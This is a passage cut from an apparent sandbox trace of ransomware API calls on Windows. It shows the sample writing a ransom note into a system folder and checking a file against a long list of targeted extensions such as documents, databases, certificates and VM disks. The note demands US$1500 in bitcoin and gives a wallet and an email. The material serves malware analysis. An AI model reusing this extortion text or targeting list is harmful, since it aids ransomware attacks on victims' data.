FILES.txt" [0105.987] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.identitymodel\\b4c60dd01be760ee0452df2c040de8fc\\how to decrypt files.txt")) returned 0xffffffff [0105.987] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.identitymodel\\b4c60dd01be760ee0452df2c040de8fc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.988] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0105.988] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.990] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.991] CloseHandle (hObject=0x90) returned 1 [0105.991] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\", lpString2="System.IdentityModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll" [0105.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.ems") returned 0 [0105.991] lstrlenA (lpString="*.ems") returned 5 [0105.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.db") returned 0 [0105.991] lstrlenA (lpString="*.db") returned 4 [0105.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.dbf") returned 0 [0105.991] lstrlenA (lpString="*.dbf") returned 5 [0105.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.myox") returned 0 [0105.991] lstrlenA (lpString="*.myox") returned 6 [0105.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.myo") returned 0 [0105.991] lstrlenA (lpString="*.myo") returned 5 [0105.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qbw") returned 0 [0105.991] lstrlenA (lpString="*.qbw") returned 5 [0105.991] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qbb") returned 0 [0105.991] lstrlenA (lpString="*.qbb") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qbm") returned 0 [0105.992] lstrlenA (lpString="*.qbm") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qbo") returned 0 [0105.992] lstrlenA (lpString="*.qbo") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qbx") returned 0 [0105.992] lstrlenA (lpString="*.qbx") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qba") returned 0 [0105.992] lstrlenA (lpString="*.qba") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qby") returned 0 [0105.992] lstrlenA (lpString="*.qby") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qbj") returned 0 [0105.992] lstrlenA (lpString="*.qbj") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.ofx") returned 0 [0105.992] lstrlenA (lpString="*.ofx") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.qif") returned 0 [0105.992] lstrlenA (lpString="*.qif") returned 5 [0105.992] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.mye") returned 0 [0105.992] lstrlenA (lpString="*.mye") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.mbox") returned 0 [0105.993] lstrlenA (lpString="*.mbox") returned 6 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.eml") returned 0 [0105.993] lstrlenA (lpString="*.eml") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.pst") returned 0 [0105.993] lstrlenA (lpString="*.pst") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.ost") returned 0 [0105.993] lstrlenA (lpString="*.ost") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.idx") returned 0 [0105.993] lstrlenA (lpString="*.idx") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.dbx") returned 0 [0105.993] lstrlenA (lpString="*.dbx") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.sql") returned 0 [0105.993] lstrlenA (lpString="*.sql") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.mdb") returned 0 [0105.993] lstrlenA (lpString="*.mdb") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.fdb") returned 0 [0105.993] lstrlenA (lpString="*.fdb") returned 5 [0105.993] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.wab") returned 0 [0105.994] lstrlenA (lpString="*.wab") returned 5 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.dat") returned 0 [0105.994] lstrlenA (lpString="*.dat") returned 5 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.txt") returned 0 [0105.994] lstrlenA (lpString="*.txt") returned 5 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.jpeg") returned 0 [0105.994] lstrlenA (lpString="*.jpeg") returned 6 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.jpg") returned 0 [0105.994] lstrlenA (lpString="*.jpg") returned 5 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.png") returned 0 [0105.994] lstrlenA (lpString="*.png") returned 5 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.php") returned 0 [0105.994] lstrlenA (lpString="*.php") returned 5 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.cs") returned 0 [0105.994] lstrlenA (lpString="*.cs") returned 4 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.cpp") returned 0 [0105.994] lstrlenA (lpString="*.cpp") returned 5 [0105.994] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.rar") returned 0 [0105.994] lstrlenA (lpString="*.rar") returned 5 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.zip") returned 0 [0105.995] lstrlenA (lpString="*.zip") returned 5 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.html") returned 0 [0105.995] lstrlenA (lpString="*.html") returned 6 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.htm") returned 0 [0105.995] lstrlenA (lpString="*.htm") returned 5 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.xlsx") returned 0 [0105.995] lstrlenA (lpString="*.xlsx") returned 6 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.xls") returned 0 [0105.995] lstrlenA (lpString="*.xls") returned 5 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.mp4") returned 0 [0105.995] lstrlenA (lpString="*.mp4") returned 5 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.ppt") returned 0 [0105.995] lstrlenA (lpString="*.ppt") returned 5 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.pptx") returned 0 [0105.995] lstrlenA (lpString="*.pptx") returned 6 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.doc") returned 0 [0105.995] lstrlenA (lpString="*.doc") returned 5 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.dot") returned 0 [0105.995] lstrlenA (lpString="*.dot") returned 5 [0105.995] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.docx") returned 0 [0105.996] lstrlenA (lpString="*.docx") returned 6 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.7z") returned 0 [0105.996] lstrlenA (lpString="*.7z") returned 4 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.tar") returned 0 [0105.996] lstrlenA (lpString="*.tar") returned 5 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.bz2") returned 0 [0105.996] lstrlenA (lpString="*.bz2") returned 5 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.gz") returned 0 [0105.996] lstrlenA (lpString="*.gz") returned 4 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.mkv") returned 0 [0105.996] lstrlenA (lpString="*.mkv") returned 5 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.eml") returned 0 [0105.996] lstrlenA (lpString="*.eml") returned 5 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.msg") returned 0 [0105.996] lstrlenA (lpString="*.msg") returned 5 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.edb") returned 0 [0105.996] lstrlenA (lpString="*.edb") returned 5 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.accdb") returned 0 [0105.996] lstrlenA (lpString="*.accdb") returned 7 [0105.996] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.odb") returned 0 [0105.997] lstrlenA (lpString="*.odb") returned 5 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.java") returned 0 [0105.997] lstrlenA (lpString="*.java") returned 6 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.asm") returned 0 [0105.997] lstrlenA (lpString="*.asm") returned 5 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.pfx") returned 0 [0105.997] lstrlenA (lpString="*.pfx") returned 5 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.pem") returned 0 [0105.997] lstrlenA (lpString="*.pem") returned 5 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.p12") returned 0 [0105.997] lstrlenA (lpString="*.p12") returned 5 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.gpg") returned 0 [0105.997] lstrlenA (lpString="*.gpg") returned 5 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.vsd") returned 0 [0105.997] lstrlenA (lpString="*.vsd") returned 5 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.odg") returned 0 [0105.997] lstrlenA (lpString="*.odg") returned 5 [0105.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.raw") returned 0 [0105.997] lstrlenA (lpString="*.raw") returned 5 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.nef") returned 0 [0105.998] lstrlenA (lpString="*.nef") returned 5 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.svg") returned 0 [0105.998] lstrlenA (lpString="*.svg") returned 5 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.psd") returned 0 [0105.998] lstrlenA (lpString="*.psd") returned 5 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.vmx") returned 0 [0105.998] lstrlenA (lpString="*.vmx") returned 5 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.vmdk") returned 0 [0105.998] lstrlenA (lpString="*.vmdk") returned 6 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.vdi") returned 0 [0105.998] lstrlenA (lpString="*.vdi") returned 5 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.lay6") returned 0 [0105.998] lstrlenA (lpString="*.lay6") returned 6 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.mpeg") returned 0 [0105.998] lstrlenA (lpString="*.mpeg") returned 6 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.djvu") returned 0 [0105.998] lstrlenA (lpString="*.djvu") returned 6 [0105.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.tiff") returned 0 [0105.998] lstrlenA (lpString="*.tiff") returned 6 [0105.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.backup") returned 0 [0105.999] lstrlenA (lpString="*.backup") returned 8 [0105.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.pdf") returned 0 [0105.999] lstrlenA (lpString="*.pdf") returned 5 [0105.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.cert") returned 0 [0106.000] lstrlenA (lpString="*.cert") returned 6 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.docm") returned 0 [0106.000] lstrlenA (lpString="*.docm") returned 6 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.xlsm") returned 0 [0106.000] lstrlenA (lpString="*.xlsm") returned 6 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.dwg") returned 0 [0106.000] lstrlenA (lpString="*.dwg") returned 5 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.nd") returned 0 [0106.000] lstrlenA (lpString="*.nd") returned 4 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.tlg") returned 0 [0106.000] lstrlenA (lpString="*.tlg") returned 5 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.lgb") returned 0 [0106.000] lstrlenA (lpString="*.lgb") returned 5 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.mov") returned 0 [0106.000] lstrlenA (lpString="*.mov") returned 5 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.xdw") returned 0 [0106.000] lstrlenA (lpString="*.xdw") returned 5 [0106.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.ods") returned 0 [0106.000] lstrlenA (lpString="*.ods") returned 5 [0106.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.wav") returned 0 [0106.001] lstrlenA (lpString="*.wav") returned 5 [0106.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.mp3") returned 0 [0106.001] lstrlenA (lpString="*.mp3") returned 5 [0106.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.aiff") returned 0 [0106.001] lstrlenA (lpString="*.aiff") returned 6 [0106.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.flac") returned 0 [0106.001] lstrlenA (lpString="*.flac") returned 6 [0106.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.m4a") returned 0 [0106.001] lstrlenA (lpString="*.m4a") returned 5 [0106.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.IdentityModel\\b4c60dd01be760ee0452df2c040de8fc\\System.IdentityModel.ni.dll", pszSpec="*.csv") returned 0 [0106.001] lstrlenA (lpString="*.csv") returned 5 [0106.001] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57d0c8ec, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x57d0c8ec, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x57d32a4c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, 